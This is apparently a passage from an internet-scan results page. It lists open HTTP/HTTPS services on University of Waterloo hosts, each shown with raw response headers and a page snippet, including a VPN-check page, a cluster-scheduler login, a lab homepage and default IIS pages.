flex-grow: 1;
}
.centerinfo {
max-width: 800px;
margin: 3rem auto;
}
.fastlink {
color: #666;
font-style: italic;
text-align: center;
font-size: 90%;
margin-top: 1rem;
}
#callback_notice {
white-space: nowrap;
overflow-x: hidden;
text-overflow: ellipsis;
}
table {margin: 1em 0 0 0;}
table, th, td {border: 1px solid black; border-collapse: collapse; padding: 0.3em;}
thead { background-color: lemonchiffon; }
</style>
</head>
<body>
<div id="header" class="uw-header--global">
<a class="uw-logo" href="https://uwaterloo.ca"><img src="uwaterloo-logo.svg" alt="University of Waterloo logo" height="40"></a>
</div>
<div style="height: 7px; width: 100%;">
<div style="height: 7px; width: 25%; float: left; background-color: rgb(255, 254, 174);"></div>
<div style="height: 7px; width: 25%; float: left; background-color: rgb(254, 232, 79);"></div>
<div style="height: 7px; width: 25%; float: left; background-color: rgb(254, 212, 91);"></div>
<div style="height: 7px; width: 25%; float: left; background-color: rgb(227, 179, 58);"></div>
</div>
<div class="center" >
<h2 id="callback_notice"></h2>
<h3 style='color: #a00000; margin-bottom: 3rem'>✖ Connection is outside the University of Waterloo network.</h3>
<p id="cookie_notice"></p>
<p>Only VPNs affiliated with the University of Waterloo are sufficient.<p>
<p>Many campus computer resources require the added safety of internal connections.</p>
<p>To get a campus network connection please follow <a href="https://uwaterloo.atlassian.net/wiki/spaces/ISTKB/pages/262012980/Virtual+Private+Network+VPN">IST's directions on setting up VPN</a>.</p>
<p>Optional check: <a href="network_test.html">basic connection test</a>.<p>
<button id="refresh_button" onclick="location.reload();">Refresh page</button>
<!--<iframe src="http://ipv4.uwaterloo.ca" title="IPv4 address" frameBorder="0"></iframe> -->
<div class="fastlink">
This service is maintained by <a target="_blank" href="https://fast.uwaterloo.ca/about/">FAST</a>
</div>
</div>
<div class="bshelf" >
<div class="centerinfo" >
<h3>Install VPN</h3>
<ul>
<li><a href="https://uwaterloo.atlassian.net/wiki/spaces/ISTKB/pages/262012949/How+to+install+and+connect+to+the+VPN+-+Windows+OS">Windows</a></li>
<li><a href="https://uwaterloo.atlassian.net/wiki/spaces/ISTKB/pages/262012942/How+to+install+and+connect+to+the+VPN+-+Mac+OS">macOS</a></li>
<li><a href="https://uwaterloo.atlassian.net/wiki/spaces/ISTKB/pages/262012963/Connecting+to+the+VPN+on+iOS">iOS</a></li>
<li><a href="https://uwaterloo.atlassian.net/wiki/spaces/ISTKB/pages/262012957/Connecting+to+the+VPN+on+Android">Android</a></li>
<li><a href="ht
Open service 129.97.179.11:443 · checkvpn.uwaterloo.ca
2026-01-21 16:07
HTTP/1.1 200 OK
Accept-Ranges: bytes
Alt-Svc: h3=":443"; ma=2592000
Content-Length: 6063
Content-Type: text/html; charset=utf-8
Etag: "df0rcqtfhm8m4of"
Last-Modified: Wed, 17 Dec 2025 20:01:35 GMT
Server: Caddy
Set-Cookie: remote_addr=46.101.1.225
Strict-Transport-Security: max-age=15768000
Vary: Accept-Encoding
Date: Wed, 21 Jan 2026 16:07:48 GMT
Connection: close
Page title: Checking University of Waterloo network connection
<!DOCTYPE html>
<html>
<head>
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" type="image/x-icon" href="favicon.ico"/>
<title>Checking University of Waterloo network connection</title>
<style>
#header {
background-color: #000;
padding: 1rem;
}
body {
background-color: #eee;
font-family: Arial, Helvetica, sans-serif;
display: flex;
flex-direction: column;
min-height: 100%;
min-height: 100vh;
margin: 0;
}
.center {
background-color: white;
margin: 5em auto 8rem auto;
width: 60%;
border: 1px solid #ccc;
padding: 1em 2em;
border-radius: 8px;
max-width: 800px;
box-shadow: rgba(0,0,0,0.1) 0px 3px 8px;
}
.bshelf {
background-color: white;
box-shadow: rgba(0,0,0,0.1) 0 -4px 10px;
flex-grow: 1;
}
.centerinfo {
max-width: 800px;
margin: 3rem auto;
}
.fastlink {
color: #666;
font-style: italic;
text-align: center;
font-size: 90%;
margin-top: 1rem;
}
#callback_notice {
white-space: nowrap;
overflow-x: hidden;
text-overflow: ellipsis;
}
table {margin: 1em 0 0 0;}
table, th, td {border: 1px solid black; border-collapse: collapse; padding: 0.3em;}
thead { background-color: lemonchiffon; }
</style>
</head>
<body>
<div id="header" class="uw-header--global">
<a class="uw-logo" href="https://uwaterloo.ca"><img src="uwaterloo-logo.svg" alt="University of Waterloo logo" height="40"></a>
</div>
<div style="height: 7px; width: 100%;">
<div style="height: 7px; width: 25%; float: left; background-color: rgb(255, 254, 174);"></div>
<div style="height: 7px; width: 25%; float: left; background-color: rgb(254, 232, 79);"></div>
<div style="height: 7px; width: 25%; float: left; background-color: rgb(254, 212, 91);"></div>
<div style="height: 7px; width: 25%; float: left; background-color: rgb(227, 179, 58);"></div>
</div>
<div class="center" >
<h2 id="callback_notice"></h2>
<h3 style='color: #a00000; margin-bottom: 3rem'>✖ Connection is outside the University of Waterloo network.</h3>
<p id="cookie_notice"></p>
<p>Only VPNs affiliated with the University of Waterloo are sufficient.<p>
<p>Many campus computer resources require the added safety of internal connections.</p>
<p>To get a campus network connection please follow <a href="https://uwaterloo.atlassian.net/wiki/spaces/ISTKB/pages/262012980/Virtual+Private+Network+VPN">IST's directions on setting up VPN</a>.</p>
<p>Optional check: <a href="network_test.html">basic connection test</a>.<p>
<button id="refresh_button" onclick="location.reload();">Refresh page</button>
<!--<iframe src="http://ipv4.uwaterloo.ca" title="IPv4 address" frameBorder="0"></iframe> -->
<div class="fastlink">
This service is maintained by <a target="_blank" href="https://fast.uwaterloo.ca/about/">FAST</a>
</div>
</div>
<div class="bshelf" >
<div class="centerinfo" >
<h3>Install VPN</h3>
<ul>
<li><a href="https://uwaterloo.atlassian.net/wiki/spaces/ISTKB/pages/262012949/How+to+install+and+connect+to+the+VPN+-+Windows+OS">Windows</a></li>
<li><a href="https://uwaterloo.atlassian.net/wiki/spaces/ISTKB/pages/262012942/How+to+install+and+connect+to+the+VPN+-+Mac+OS">macOS</a></li>
<li><a href="https://uwaterloo.atlassian.net/wiki/spaces/ISTKB/pages/262012963/Connecting+to+the+VPN+on+iOS">iOS</a></li>
<li><a href="https://uwaterloo.atlassian.net/wiki/spaces/ISTKB/pages/262012957/Connecting+to+the+VPN+on+Android">Android</a></li>
<li><a href="ht
Open service 129.97.179.11:80 · checkvpn.uwaterloo.ca
2026-01-21 16:07
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://checkvpn.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 16:08:17 GMT Content-Length: 0
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:80 · scinage.uwaterloo.ca
2026-01-21 15:47
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://scinage.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 15:47:55 GMT Content-Length: 0
Open service 129.97.179.11:80 · scinage.uwaterloo.ca
2026-01-21 15:47
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://scinage.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 15:47:56 GMT Content-Length: 0
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:443 · scinage.uwaterloo.ca
2026-01-21 15:47
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://scinage.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 15:47:27 GMT Content-Length: 0 Connection: close
Open service 129.97.179.11:443 · scinage.uwaterloo.ca
2026-01-21 15:47
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://scinage.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 15:47:26 GMT Content-Length: 0 Connection: close
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:443 · dbswamp-api.fast.uwaterloo.ca
2026-01-21 15:16
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://dbswamp-api.fast.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 15:16:49 GMT Content-Length: 0 Connection: close
Open service 129.97.179.11:443 · dbswamp-api.fast.uwaterloo.ca
2026-01-21 15:16
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://dbswamp-api.fast.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 15:16:49 GMT Content-Length: 0 Connection: close
Open service 129.97.179.11:80 · dbswamp-api.fast.uwaterloo.ca
2026-01-21 15:16
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://dbswamp-api.fast.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 15:17:18 GMT Content-Length: 0
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:80 · dbswamp-api.fast.uwaterloo.ca
2026-01-21 15:16
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://dbswamp-api.fast.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 15:17:18 GMT Content-Length: 0
Open service 129.97.105.62:80 · styx-reserve.shoshin.uwaterloo.ca
2026-01-12 22:46
HTTP/1.1 301 Moved Permanently Date: Mon, 12 Jan 2026 22:47:22 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://styx-reserve.shoshin.uwaterloo.ca/ Content-Length: 349 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://styx-reserve.shoshin.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at styx-reserve.shoshin.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.105.62:443 · styx-reserve.shoshin.uwaterloo.ca
2026-01-12 22:46
HTTP/1.1 200 OK
Date: Mon, 12 Jan 2026 22:46:45 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: PHPSESSID=l9ve9ceikj16460ac6vds4f8tc
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Page title: Styx Cluster Scheduler - Log In
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<title>Styx Cluster Scheduler - Log In</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex"/>
<link rel="shortcut icon" href="favicon.ico"/>
<link rel="icon" href="favicon.ico"/>
<!-- JavaScript -->
<script
src="https://code.jquery.com/jquery-3.3.1.min.js"
integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8="
crossorigin="anonymous"></script>
<script src="https://code.jquery.com/jquery-migrate-3.0.1.min.js"></script>
<script
src="https://code.jquery.com/ui/1.12.1/jquery-ui.min.js"
integrity="sha256-VazP97ZCwtekAsvgPBSUwPFKdrwD3unUfSGVYrahUqU="
crossorigin="anonymous"></script>
<script type="text/javascript"
src="https://netdna.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js"></script>
<!-- End JavaScript -->
<!-- CSS -->
<link rel="stylesheet"
href="https://code.jquery.com/ui/1.12.1/themes/smoothness/jquery-ui.css"
type="text/css"/>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css"
type="text/css"/>
<link rel="stylesheet" href="https://netdna.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css"
type="text/css"/>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/qtip2/3.0.3/jquery.qtip.min.css"
type="text/css"/>
<script type="text/javascript" src="scripts/js/jquery-ui-timepicker-addon.js?v=2.8.6.1"></script>
<link rel='stylesheet' type='text/css' href='scripts/css/jquery-ui-timepicker-addon.css?v=2.8.6.1'/>
<link rel='stylesheet' type='text/css' href='css/booked.css?v=2.8.6.1'/>
<link rel='stylesheet' type='text/css' href='css/null-style.css?v=2.8.6.1'/>
<!-- End CSS -->
</head>
<body >
<nav class="navbar navbar-default navbar-fixed-top"
role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#booked-navigation">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand"
href="dashboard.php"><img src="img/librebooking.png?2.8.6.1" title="Styx Cluster Scheduler - Log In" alt="Styx Cluster Scheduler - Log In" class="logo" /></a>
</div>
<div class="collapse navbar-collapse" id="booked-navigation">
<ul class="nav navbar-nav">
</ul>
<ul class="nav navbar-nav navbar-right">
<li class="dropdown" id="navHelpDropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Help <b
class="caret"></b></a>
<ul class="dropdown-menu">
<li id="navHelp"><a href="https://github.com/effgarces/BookedScheduler/wiki">Help</a></li>
<li id="navAbout"><a href="help.php?ht=about">About</a></li>
</ul>
</li>
<li id="navLogIn"><a href="index.php">Log In</a></li>
</ul>
</div>
</div>
</nav>
<div id="main" class="container-fluid" >
<div id="page-login">
<div class="col-md-offset-3 col-md-6 col-xs-12 ">
<form role="form" name="login" id="login" class="f
Open service 129.97.7.167:443 · deliberarts.pandora.cs.uwaterloo.ca
2026-01-12 21:29
HTTP/1.1 200 OK
Alt-Svc: h3=":443"; ma=2592000
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Mon, 12 Jan 2026 21:30:54 GMT
Link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2"
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
X-Powered-By: Next.js
Connection: close
Transfer-Encoding: chunked
Page title: Next.js and Supabase Starter Kit
<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/1ef253af618301fc.css" data-precedence="next"/><link rel="stylesheet" href="/_next/static/css/463a61d9ad95bb58.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-5d05866e11118bde.js"/><script src="/_next/static/chunks/4bd1b696-c023c6e3521b1417.js" async=""></script><script src="/_next/static/chunks/255-1a334e32aac762cd.js" async=""></script><script src="/_next/static/chunks/main-app-2ecc3bf42ae2d122.js" async=""></script><script src="/_next/static/chunks/app/layout-61749e99c51e1518.js" async=""></script><script src="/_next/static/chunks/559-b87c0214964217b5.js" async=""></script><script src="/_next/static/chunks/756-6c4383bb0542c357.js" async=""></script><script src="/_next/static/chunks/619-ba102abea3e3d0e4.js" async=""></script><script src="/_next/static/chunks/586-a5e95c44f83d18be.js" async=""></script><script src="/_next/static/chunks/768-7902aa24bce0bd1f.js" async=""></script><script src="/_next/static/chunks/app/page-dcfdeb8c0e8a6d7c.js" async=""></script><meta name="next-size-adjust" content=""/><title>Next.js and Supabase Starter Kit</title><meta name="description" content="The fastest way to build apps with Next.js and Supabase"/><meta property="og:title" content="Next.js and Supabase Starter Kit"/><meta property="og:description" content="The fastest way to build apps with Next.js and Supabase"/><meta property="og:image:type" content="image/png"/><meta property="og:image:width" content="1200"/><meta property="og:image:height" content="600"/><meta property="og:image" content="http://localhost:3000/opengraph-image.png?2e0bc232e210f89d"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:title" content="Next.js and Supabase Starter Kit"/><meta name="twitter:description" content="The fastest way to build apps with Next.js and Supabase"/><meta name="twitter:image:type" content="image/png"/><meta name="twitter:image:width" content="1200"/><meta name="twitter:image:height" content="600"/><meta name="twitter:image" content="http://localhost:3000/twitter-image.png?2e0bc232e210f89d"/><link rel="icon" href="/favicon.ico" type="image/x-icon" sizes="16x16"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script></head><body class="__className_188709 antialiased"><div hidden=""><!--$--><!--/$--></div><script>((a,b,c,d,e,f,g,h)=>{let i=document.documentElement,j=["light","dark"];function k(b){var c;(Array.isArray(a)?a:[a]).forEach(a=>{let c="class"===a,d=c&&f?e.map(a=>f[a]||a):e;c?(i.classList.remove(...d),i.classList.add(f&&f[b]?f[b]:b)):i.setAttribute(a,b)}),c=b,h&&j.includes(c)&&(i.style.colorScheme=c)}if(d)k(d);else try{let a=localStorage.getItem(b)||c,d=g&&"system"===a?window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light":a;k(d)}catch(a){}})("class","theme","system",null,["light","dark"],null,true,true)</script><main class="min-h-screen flex flex-col items-center"><div class="flex-1 w-full flex flex-col"><nav class="w-full flex border-b border-b-foreground/10 h-16 sticky"><div class="w-full flex justify-between items-center p-8 px-16 text-sm"><div class="flex gap-5 items-center font-semibold"><a href="/">deliberarts (wip)</a></div><div class="flex gap-5 items-center"><div class="flex gap-2"><a class="inline-flex items-center justify-center gap-2 whitespace-nowrap font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0 border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground h-8 rounded-md px-3 text-xs" href="/auth/login">Sign in</a><a class="inline-flex items-center justify-center gap-2 whitespace-nowrap font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:poi
Open service 129.97.7.167:443 · ickok4o0go40kcowsocsow0c.pandora.cs.uwaterloo.ca
2026-01-12 21:05
HTTP/1.1 503 Service Unavailable Alt-Svc: h3=":443"; ma=2592000 Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 12 Jan 2026 21:06:12 GMT Content-Length: 20 Connection: close no available server
Open service 129.97.28.37:80 · qiti.iqc.uwaterloo.ca
2026-01-12 19:47
HTTP/1.1 301 Moved Permanently Date: Mon, 12 Jan 2026 19:48:07 GMT Server: Apache/2.4.58 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Location: https://qiti.iqc.uwaterloo.ca/ Content-Length: 325 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://qiti.iqc.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at qiti.iqc.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.28.37:443 · qiti.iqc.uwaterloo.ca
2026-01-12 19:47
HTTP/1.1 200 OK Date: Mon, 12 Jan 2026 19:47:29 GMT Server: GitHub.com X-Frame-Options: DENY X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Content-Length: 18393 Content-Type: text/html; charset=utf-8 Last-Modified: Sun, 07 Dec 2025 02:40:23 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "6934e917-47d9" expires: Mon, 12 Jan 2026 19:57:27 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: 968B:6672E:3AA6BF:3EBBAA:69654FCF Accept-Ranges: bytes Via: 1.1 varnish Age: 2 X-Served-By: cache-yyz4535-YYZ X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1768247250.875566,VS0,VE1 Vary: Accept-Encoding X-Fastly-Request-ID: 8b529fe2dc50bc983dfb37ff62deed9cb7cbf0f4 X-XSS-Protection: 1; mode=block Connection: close Page title: Home | QUANTUM INFORMATION WITH TRAPPED IONS <!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge,chrome=1"><title>Home | QUANTUM INFORMATION WITH TRAPPED IONS</title><meta name=viewport content="width=device-width,minimum-scale=1"><meta name=generator content="Hugo 0.152.2"><link href=/dist/css/app.1cb140d8ba31d5b2f1114537dd04802a.css rel=stylesheet><link rel=stylesheet href=/css/myStyle.css><link rel=icon type=image/x-icon href=/images/favicon.ico><link href=/index.xml rel=alternate type=application/rss+xml title="QUANTUM INFORMATION WITH TRAPPED IONS"><link href=/index.xml rel=feed type=application/rss+xml title="QUANTUM INFORMATION WITH TRAPPED IONS"><meta property="og:url" content="https://qiti.iqc.uwaterloo.ca/"><meta property="og:site_name" content="QUANTUM INFORMATION WITH TRAPPED IONS"><meta property="og:title" content="Home"><meta property="og:description" content><meta property="og:locale" content="en_us"><meta property="og:type" content="website"><meta itemprop=name content="Home"><meta itemprop=description content><meta itemprop=datePublished content="2020-03-25T01:18:35-04:00"><meta itemprop=dateModified content="2020-03-25T01:18:35-04:00"><meta itemprop=wordCount content="191"><meta name=twitter:card content="summary"><meta name=twitter:title content="Home"><meta name=twitter:description content></head><body class="ma0 pb5 min-vh-100 relative avenir bg-near-white" style=background-color:#e9e6e9><nav class="pt3 pb1 ph3 ph4-ns" style=background-color:#3a363f role=navigation><div class="flex-l justify-between items-center center"><a href=https://qiti.iqc.uwaterloo.ca/ class="pv0 hover-white no-underline white dib" style=color:#f3f1ea;font-family:Arial;font-size:35px;font-weight:600>QUANTUM INFORMATION WITH TRAPPED IONS</a><div class="flex-l items-start"><ul class="pl0 mr3"><li class="list f5 f4-ns fw4 dib pr3"><a class="hover-white no-underline" style=color:#efece2 href=/research/ title="Research page">Research</a></li><li class="list f5 f4-ns fw4 dib pr3"><a class="hover-white no-underline" style=color:#efece2 href=/members/ title="Members page">Members</a></li><li class="list f5 f4-ns fw4 dib pr3"><a class="hover-white no-underline" style=color:#efece2 href=/publications/ title="Publications page">Publications</a></li><li class="list f5 f4-ns fw4 dib pr3"><a class="hover-white no-underline" style=color:#efece2 href=/news/ title="News page">News</a></li></ul></div></div><p class=f5 style=color:#d4d2ce>Principal Investigator - Prof. Rajibul Islam, IQC, University of Waterloo</p></nav><header style="background:url(https://qiti.iqc.uwaterloo.ca/images/header/ion_addressing_linear_bg_sub.gif)no-repeat 50%;background-attachment:body;background-size:cover"><div class=bg-black-30><div class="tl pv3 pv5-l ph3 ph4-ns"><h1 class="f2 white-90 f-subheadline-2 fw4 mb0 1h-title">Home</h1></div></div></header><main class=mb0 role=main><article class="dark-gray pv2 ph0 ph4-m ph6-l mh2 center" style=background-color:#faf8fa><div class="center mw8-l flex flex-column flex-row-l"><div class="cf center ph2 ph4-l mb3 f4 lh-copy w-60-l"><article><p class=center><firstletter>W</firstletter>elcome to the Laboratory for Quantum Information with Trapped Ions (QITI) of Prof. K. Rajibul Islam! We are a predominantly experimental research group at the <a href=https://uwaterloo.ca/institute-for-quantum-computing/>Institute for Quantum Computing</a> and the Department of <a href="https://uwaterloo.ca/physics- astronomy/">Physics and Astronomy</a> at University of Waterloo, Ontario, Canada.</p><p>Laser-cooled trapped ions are among the most pristine and controllable quantum systems. Research performed in Prof. Islam’s group is currently focused on the following:</p><ul><li><strong>Quantum simulation:</strong> The QITI laboratory is building a programmable trapped-ion quantum simulator with <sup>171</sup>Yb<sup>+</sup> qubits, with optical controls at the level of individual ions for studying problems in quantum many-body physics and computation.</li><li><strong>QuantumION:</strong> In collaboration with Prof. Crystal Senko’s
Open service 129.97.208.39:80 · reports.data.uwaterloo.ca
2026-01-12 19:43
HTTP/1.0 302 Moved Temporarily Location: https://reports.data.uwaterloo.ca/ Server: BigIP Connection: close Content-Length: 0
Open service 129.97.208.39:443 · reports.data.uwaterloo.ca
2026-01-12 19:43
Open service 129.97.85.48:80 · pubtest.acmetest.uwaterloo.ca
2026-01-12 15:15
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 28 Jul 2025 17:21:18 GMT
Accept-Ranges: bytes
ETag: "24778f7e4ffdb1:0"
Server: Microsoft-IIS/10.0
Date: Mon, 12 Jan 2026 15:15:53 GMT
Connection: close
Content-Length: 703
Page title: IIS Windows Server
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS Windows Server</title>
<style type="text/css">
<!--
body {
color:#000000;
background-color:#0072C6;
margin:0;
}
#container {
margin-left:auto;
margin-right:auto;
text-align:center;
}
a img {
border:none;
}
-->
</style>
</head>
<body>
<div id="container">
<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="iisstart.png" alt="IIS" width="960" height="600" /></a>
</div>
</body>
</html>
Open service 129.97.85.48:443 · pubtest.acmetest.uwaterloo.ca
2026-01-12 15:15
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 28 Jul 2025 17:21:18 GMT
Accept-Ranges: bytes
ETag: "24778f7e4ffdb1:0"
Server: Microsoft-IIS/10.0
Date: Mon, 12 Jan 2026 15:15:53 GMT
Connection: close
Content-Length: 703
Page title: IIS Windows Server
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS Windows Server</title>
<style type="text/css">
<!--
body {
color:#000000;
background-color:#0072C6;
margin:0;
}
#container {
margin-left:auto;
margin-right:auto;
text-align:center;
}
a img {
border:none;
}
-->
</style>
</head>
<body>
<div id="container">
<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="iisstart.png" alt="IIS" width="960" height="600" /></a>
</div>
</body>
</html>
Open service 129.97.26.17:443 · cn220-gw.cs.uwaterloo.ca
2026-01-12 13:26
HTTP/1.1 403 Forbidden Date: Mon, 12 Jan 2026 13:26:37 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 290 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 403 Forbidden <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access this resource.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at cn220-gw.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.26.17:80 · cn220-gw.cs.uwaterloo.ca
2026-01-12 13:26
HTTP/1.1 301 Moved Permanently Date: Mon, 12 Jan 2026 13:27:16 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://cn220-gw.cs.uwaterloo.ca/ Content-Length: 331 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://cn220-gw.cs.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at cn220-gw.cs.uwaterloo.ca Port 80</address> </body></html>
Open service 2620:101:f000:4901:c5c::112:80 · files.csclub.uwaterloo.ca
2026-01-12 12:57
HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 12 Jan 2026 12:57:36 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://files.csclub.uwaterloo.ca/ Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx</center> </body> </html>
Open service 129.97.134.112:80 · files.csclub.uwaterloo.ca
2026-01-12 12:57
HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 12 Jan 2026 12:57:36 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://files.csclub.uwaterloo.ca/ Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx</center> </body> </html>
Open service 2620:101:f000:4901:c5c::112:443 · files.csclub.uwaterloo.ca
2026-01-12 12:57
HTTP/1.1 302 Found Server: nginx Date: Mon, 12 Jan 2026 12:57:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: oc_sessionPassphrase=vKRsGV%2Fc1N2r5JcWG%2F5oNrvcyitGN6n2y74xWLDjdehv9oscUBECVUmVae0nZPdnHgI6DyhL6y3%2FRd1G8tdGeeHl0J9KLK56CYL8%2FPlQF4s6gAiElqa0WIkNwu2cEo9x; path=/; secure; HttpOnly; SameSite=Lax Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-JYgosvq2muH3T1Vr2hvbl68TfzkjOSw77SlqNJ0rUa8='; style-src 'self' 'unsafe-inline'; frame-src *; img-src * data: blob:; font-src 'self' data:; media-src *; connect-src *; object-src 'none'; base-uri 'self'; Set-Cookie: __Host-nc_sameSiteCookielax=true; path=/; httponly;secure; expires=Fri, 31-Dec-2100 23:59:59 GMT; SameSite=lax Set-Cookie: __Host-nc_sameSiteCookiestrict=true; path=/; httponly;secure; expires=Fri, 31-Dec-2100 23:59:59 GMT; SameSite=strict Set-Cookie: ocaem1pppzdj=23b74b8ed707891363fc2da05187ebbd; path=/; secure; HttpOnly; SameSite=Lax Location: https://files.csclub.uwaterloo.ca/login Strict-Transport-Security: max-age=15768000; Referrer-Policy: no-referrer X-Content-Type-Options: nosniff 